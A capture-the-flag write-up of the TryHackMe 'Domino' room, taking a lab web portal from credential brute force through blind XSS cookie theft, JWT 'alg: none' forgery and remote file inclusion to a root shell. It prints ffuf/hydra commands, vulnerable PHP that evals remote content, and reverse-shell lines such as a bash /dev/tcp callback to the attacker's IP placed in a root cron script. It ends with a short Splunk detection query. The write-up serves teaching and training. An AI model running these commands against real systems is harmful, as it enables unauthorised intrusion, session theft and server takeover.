October 23, 2026
TryHackMe — Domino
Challenge Link: https://tryhackme.com/room/domino

By S4F4L
8 min read
- Scanning the target machine
First thing first, scan the machine with nmap, to see necessary open ports and services the machine is serving.
Note: The IP is generated by THM, will be different in other case.
nmap -p- -sS -sV -T4 10.113.128.186nmap -p- -sS -sV -T4 10.113.128.186
So, ssh is open at port 22 and http at port 80. Let's see visit the website first.
At port http port 80, company'sEmployee portal can be seen with username and password input field.
The list of name of team members from team page and we can see their name. Extract in order to perform the brute force with username and password.
2. Extracting the name and create our own wordlist.
We will use cewl for this.
cewl -d 2 -m 3 --lowercase --with-numbers -e --email_file emails.txt -w team.txt http://10.113.128.186/team.phpcewl -d 2 -m 3 --lowercase --with-numbers -e --email_file emails.txt -w team.txt http://10.113.128.186/team.php
So, we have two file. One is team.txt and another is email.txt. We will use team.txt as our password file cause it is generated from the company website.
The login portal shows the username is in the format of firstname.lastname. So we will create the list of possible username.
cut -d "@" -f1 emails.txt > users.txtcut -d "@" -f1 emails.txt > users.txt
3. Brute force
Now we have our list for username and password ready. We can proceed with brute force.
ffuf -w users.txt:USER -w team.txt:PASS -X POST -d "username=USER&password=PASS" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.113.128.186:80/index.php -fc 200ffuf -w users.txt:USER -w team.txt:PASS -X POST -d "username=USER&password=PASS" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.113.128.186:80/index.php -fc 200We have found the valid password. We can use this credentials.
We successfully logged in.
4. Broken Access Control
After visiting this url and changing the id, we can see the data of other user also.
http://10.113.128.186/api/users/profile.php?id=2http://10.113.128.186/api/users/profile.php?id=2
We get our first flag and we know that laura.hayes is the admin user.
5. Directory listing
After we successfully logged in with the user, next task is to list the directory with gobuster.
gobuster dir -u "http://10.113.128.186:80" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64gobuster dir -u "http://10.113.128.186:80" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
We found something interesting in /static.
Also in backup file.
We already have decryption key in static/app.js
N3xusK3y2024!!N3xusK3y2024!!
This is the config.enc file. In app js we have key but AES-128 requires 16-byte key, so we need to establish how the application pads it.
Try pad with two zero bytes, run:
# Build a 16-byte key (hex)
KEY=$(printf 'N3xusK3y2024!!\x00\x00' | xxd -p -c 256)
# Decrypt the file
openssl enc -d -aes-128-ecb \
-K "$KEY" \
-in config.enc \
-out decrypted.bin# Build a 16-byte key (hex)
KEY=$(printf 'N3xusK3y2024!!\x00\x00' | xxd -p -c 256)
# Decrypt the file
openssl enc -d -aes-128-ecb \
-K "$KEY" \
-in config.enc \
-out decrypted.bin
We successfully decrypt the encoded text.
{"app_name":"NexusCorp Portal","version":"2.3.1","deploy_env":"production","system_user":"devops"}{"app_name":"NexusCorp Portal","version":"2.3.1","deploy_env":"production","system_user":"devops"}This says that the system user is devops, meaning that we have devops user.
We can do the brute force ssh with this user also with our generated password.
hydra -l devops -P team.txt ssh://10.113.128.186 -t 4 -f -Vhydra -l devops -P team.txt ssh://10.113.128.186 -t 4 -f -VIf the password is from the text we grabbed from the webpage, then we can successfully login to ssh. But seems like it is failed.
Tried our luck but we failed. We really didn't get anything from this. Moving to next step.
This is the given. We can see our session/cookie first.
eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9.0bceab2ebd4da65aefd97d6b1c7a2f3a8fa71d6ee3882cc44b8d97937a5fc49deyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9.0bceab2ebd4da65aefd97d6b1c7a2f3a8fa71d6ee3882cc44b8d97937a5fc49dSeems like the the token first portion before . is in Base64. Let's decode it.
echo 'eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9' | base64 -decho 'eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InNhcmFoLmpvaG5zb24iLCJyb2xlIjoidXNlciJ9' | base64 -d
6. Session Manipulation and Blind XSS
After authenticating with the valid credentials, when we navigate the web app, we can create our ticket via /support/create.php
After submitting ticket, we have this message: "Ticket submitted successfully. An admin will review it shortly". This is very crucial it indicates that admin is reviewing the ticket. Also, the HttpOnly attribute is false which means JS can read the document.cookie.
First listening to our attacker box:
nc -lnvp 5555nc -lnvp 5555
Testing for blind XSS.
We catch the cookie:
nexus_session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834nexus_session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834
This is our admin cookie. Manipulate with admin cookie and we can see the page which we couldn't see before.
Before Manipulation
After manipulation, we get the flag.
In the Admin console, it says we can access the file system via: /api/files.php?name=[path]
It is saying us to get the token from /api/auth/token.php. After visiting this api, we can get our token.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzkyNjEwNDIwLCJleHAiOjE3OTI2MTQwMjB9.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurIeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzkyNjEwNDIwLCJleHAiOjE3OTI2MTQwMjB9.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurIThis is the JWT token for the admin.
Now, accessing the file with the help of token and cookie.
curl -X GET "http://10.113.128.186/api/files.php?name=/var/etc/passwd" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzkyNjEwNDIwLCJleHAiOjE3OTI2MTQwMjB9.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"curl -X GET "http://10.113.128.186/api/files.php?name=/var/etc/passwd" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzkyNjEwNDIwLCJleHAiOjE3OTI2MTQwMjB9.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"
It gives us error saying Admin JWT token is required. Let's check our JWT token. We know the JWT token format is:
{Header:Payload:Signature}
It is asking us to check the token payload means the second portion.
In the payload, the role is still the user. Let's change the role.
First portion:
Second Portion:
Third portion is the signature.
Encode the jwt token manually. Notice we put the algorithm: "none"
curl -X GET "http://10.113.128.186/api/files.php?name=/var/etc/passwd" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"curl -X GET "http://10.113.128.186/api/files.php?name=/var/etc/passwd" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"After manual modification it says:
Different error, that means it is working.
curl -X GET "http://10.113.128.186/api/files.php?name=/var/www/html/config.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"curl -X GET "http://10.113.128.186/api/files.php?name=/var/www/html/config.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"
We can read the file in the /var/html. Let's read the files.php and see what we get.
curl -X GET "http://10.113.128.186/api/files.php?name=/var/www/html/api/files.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"curl -X GET "http://10.113.128.186/api/files.php?name=/var/www/html/api/files.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834"The content of the files.php is bit hard to read but I have highlighted the errors we got before and one interesting comment, which indicates the possibility of RFI.
In readable format:
<?php
require_once __DIR__ . "/../auth.php";
header("Content-Type: application/json");
$jwt_payload = null;
if (isset($_SERVER["HTTP_AUTHORIZATION"])) {
$auth = $_SERVER["HTTP_AUTHORIZATION"];
if (strpos($auth, "Bearer ") === 0) {
$jwt_payload = verify_jwt(substr($auth, 7));
}
}
if (!$jwt_payload) {
http_response_code(401);
echo json_encode([
"error" => "JWT token required. Get one from /api/auth/token.php"
]);
exit;
}
if (($jwt_payload["role"] ?? "") !== "admin") {
http_response_code(403);
echo json_encode([
"error" => "Admin JWT required. Check your token payload."
]);
exit;
}
$name = $_GET["name"] ?? "";
if (!$name) {
http_response_code(400);
echo json_encode([
"error" => "Missing name parameter",
"usage" => "/api/files.php?name=/var/www/html/filename.txt"
]);
exit;
}
// RFI: Fetch a remote URL and evaluate its contents as PHP.
if (
strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0
) {
$remote = @file_get_contents($name);
if ($remote === false) {
http_response_code(502);
echo json_encode([
"error" => "Could not fetch remote file"
]);
exit;
}
ob_start();
eval(str_replace("<?php", "", $remote));
$output = ob_get_clean();
echo json_encode([
"output" => $output
]);
exit;
}
// Resolve the real path to prevent directory traversal.
$real = realpath($name);
if (
$real === false ||
strpos($real, '/var/www/html/') !== 0
) {
http_response_code(403);
echo json_encode([
"error" => "Access denied: path must be within /var/www/html/"
]);
exit;
}
if (!file_exists($real)) {
http_response_code(404);
echo json_encode([
"error" => "File not found: " . $real
]);
exit;
}
$content = file_get_contents($real);
echo json_encode([
"file" => $real,
"content" => $content
]);<?php
require_once __DIR__ . "/../auth.php";
header("Content-Type: application/json");
$jwt_payload = null;
if (isset($_SERVER["HTTP_AUTHORIZATION"])) {
$auth = $_SERVER["HTTP_AUTHORIZATION"];
if (strpos($auth, "Bearer ") === 0) {
$jwt_payload = verify_jwt(substr($auth, 7));
}
}
if (!$jwt_payload) {
http_response_code(401);
echo json_encode([
"error" => "JWT token required. Get one from /api/auth/token.php"
]);
exit;
}
if (($jwt_payload["role"] ?? "") !== "admin") {
http_response_code(403);
echo json_encode([
"error" => "Admin JWT required. Check your token payload."
]);
exit;
}
$name = $_GET["name"] ?? "";
if (!$name) {
http_response_code(400);
echo json_encode([
"error" => "Missing name parameter",
"usage" => "/api/files.php?name=/var/www/html/filename.txt"
]);
exit;
}
// RFI: Fetch a remote URL and evaluate its contents as PHP.
if (
strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0
) {
$remote = @file_get_contents($name);
if ($remote === false) {
http_response_code(502);
echo json_encode([
"error" => "Could not fetch remote file"
]);
exit;
}
ob_start();
eval(str_replace("<?php", "", $remote));
$output = ob_get_clean();
echo json_encode([
"output" => $output
]);
exit;
}
// Resolve the real path to prevent directory traversal.
$real = realpath($name);
if (
$real === false ||
strpos($real, '/var/www/html/') !== 0
) {
http_response_code(403);
echo json_encode([
"error" => "Access denied: path must be within /var/www/html/"
]);
exit;
}
if (!file_exists($real)) {
http_response_code(404);
echo json_encode([
"error" => "File not found: " . $real
]);
exit;
}
$content = file_get_contents($real);
echo json_encode([
"file" => $real,
"content" => $content
]);The remote URL branch uses eval() to execute fetched content as PHP. This can allow remote code execution.
7. Remote File Inclusion
From files.php we can see, the file handling fuction @file_get_content, the raw user input is being passed on it and eval() is fetching the content of php.
Edit the port and IP.
Start the python http server
python3 -m http.server 8080python3 -m http.server 8080Upload the file
curl -X GET "http://10.113.128.186/api/files.php?name=http://192.168.142.36:8080/rev_php.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834curl -X GET "http://10.113.128.186/api/files.php?name=http://192.168.142.36:8080/rev_php.php" -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYXVyYS5oYXllcyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjYxMDQyMCwiZXhwIjoxNzkyNjE0MDIwfQ.NKyLHlppHEbA+HbYxT95TiDtmJM2XNIAC7bwwcDaurI" -H "Cookie: session=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImxhdXJhLmhheWVzIiwgInJvbGUiOiAiYWRtaW4ifQ==.2d1632df0b5a19cc9a8db3b2e72e612b0110c4e4aaed1265006b8c0bc73f6834Listen in attack box.
nc -lnvp 7777nc -lnvp 7777We get the shell
Can't go inside the devops folder.
Reading the db12312312381203812093.php file we can see the devops password.
Login with devops or ssh with devops
ssh devops@<IP>
su devops and passwordssh devops@<IP>
su devops and password
We got the fourth flag.
8. Privilege Escalation
Inside the /opt/monitoring file, there is health_report.sh script.
The file is owned by the root but the devops user can modify it. So,
adding the reverse shell code:
bash -i >& /dev/tcp/192.168.142.36/5556 0>&1bash -i >& /dev/tcp/192.168.142.36/5556 0>&1
After some-time the corn job will automatically start and we will get the root shell.
Hence, the final flag.
So, from simple brute force to full control of the server. This lab shows the how each vulnerability and misconfiguration leads to the full control of the server.
Weak Credentials -> No Rate Limiting -> Blind XSS -> Weak Session/cookie->JWT Token Manipulation->RFI->RCE->Senstive db file →Privilege Escalation ->Full Control
Blue Team Perspective
- Detecting brute force in index.php
index="domino_apache"
| eval client_useragent = clientip . " | " . useragent
| stats count AS request_count BY client_useragent
| sort -request_count
index="domino_apache"
| eval client_useragent = clientip . " | " . useragent
| stats count AS request_count BY client_useragent
| sort -request_count
It shows that the brute-force has been done by using fuff, and the attacker IP is 192.168.142.36